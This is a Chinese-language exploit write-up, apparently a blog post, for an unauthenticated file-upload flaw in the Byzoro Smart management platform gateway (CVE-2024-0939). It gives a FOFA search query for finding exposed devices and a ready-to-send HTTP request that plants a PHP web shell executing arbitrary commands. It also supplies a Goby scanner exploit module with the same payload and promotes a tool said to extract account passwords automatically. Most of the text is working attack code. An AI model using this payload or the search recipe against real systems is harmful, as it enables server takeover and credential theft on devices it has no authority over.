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一、 产品简介

百卓 Smart只管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品，是一家致力于构建下一代安全互联网的高科技企业。

二、 漏洞概述

百卓Smart管理平台 uploadfle.php 接口存在任意文件上传漏洞。未经身份验证的攻击者可以利用此漏洞上传恶意后门文件，执行任意指令，从而获得服务器权限并操纵服务器文件。

三、 影响范围

smart s210
smart s210 firmware

四、 复现环境

FOFA:title=“Smart管理平台”

五、 漏洞复现

poc

POST /Tool/uploadfile.php? HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Upgrade-Insecure-Requests: 1
Connection: close-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="1.php"
Content-Type: application/octet-stream<?php system($_GET["c"]);?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"/home/rce.php
-----------------------------13979701222747646634037182887--

手动复现

验证

小龙验证

当然，如果你已经厌倦了手工

可以用小龙的POC，自动检测并且提取账号密码

小龙POC这里依然还是顶着干
小龙POC开源传送门: 小龙POC工具

小龙POCexe传送门: 小龙POC工具

发现漏洞很多啊，扫3个出来三个

Goby验证

我们不妨编写一个goby的yaml文件来进行验证

poc

package exploitsimport ("git.gobies.org/goby/goscanner/goutils"
)func init() {expJson := `{"Name": "百卓Smart管理平台 uploadfile.php 文件上传漏洞(CVE-2024-0939)","Description": "","Product": "","Homepage": "","DisclosureDate": "2024-02-07","PostTime": "2024-02-07","Author": "597146595@qq.com","FofaQuery": "port=\"8443\"","GobyQuery": "port=\"8443\"","Level": "3","Impact": "","Recommendation": "","References": [],"Is0day": false,"HasExp": false,"ExpParams": [],"ExpTips": {"Type": "","Content": ""},"ScanSteps": ["AND",{"Request": {"method": "POST","uri": "/Tool/uploadfile.php","follow_redirect": true,"header": {"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36","Accept-Encoding": "gzip, deflate","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Connection": "close","Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type": "multipart/form-data; boundary=---------------------------13979701222747646634037182887","Upgrade-Insecure-Requests": "1"},"data_type": "text","data": "-----------------------------13979701222747646634037182887\nContent-Disposition: form-data; name=\"file_upload\"; filename=\"1.php\"\nContent-Type: application/octet-stream\n\n<?php system($_GET[\"c\"]);?>\n-----------------------------13979701222747646634037182887\nContent-Disposition: form-data; name=\"txt_path\"\n\n/home/rce.php\n-----------------------------13979701222747646634037182887--"},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "200","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "uploadfile","bz": ""}]},"SetVariable": []}],"ExploitSteps": ["AND",{"Request": {"method": "GET","uri": "/test.php","follow_redirect": true,"header": {},"data_type": "text","data": ""},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "200","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "test","bz": ""}]},"SetVariable": []}],"Tags": [],"VulType": [],"CVEIDs": [""],"CNNVD": [""],"CNVD": [""],"CVSSScore": "","Translation": {"CN": {"Name": "百卓Smart管理平台 uploadfile.php 文件上传漏洞(CVE-2024-0939)","Product": "","Description": "","Recommendation": "","Impact": "","VulType": [],"Tags": []},"EN": {"Name": "Byzoro Smart Management Platform Upload Vulnerability CVE-2024-0939","Product": "","Description": "","Recommendation": "","Impact": "","VulType": [],"Tags": []}},"AttackSurfaces": {"Application": null,"Support": null,"Service": null,"System": null,"Hardware": null}
}`ExpManager.AddExploit(NewExploit(goutils.GetFileName(),expJson,nil,nil,))
}

测试效果如图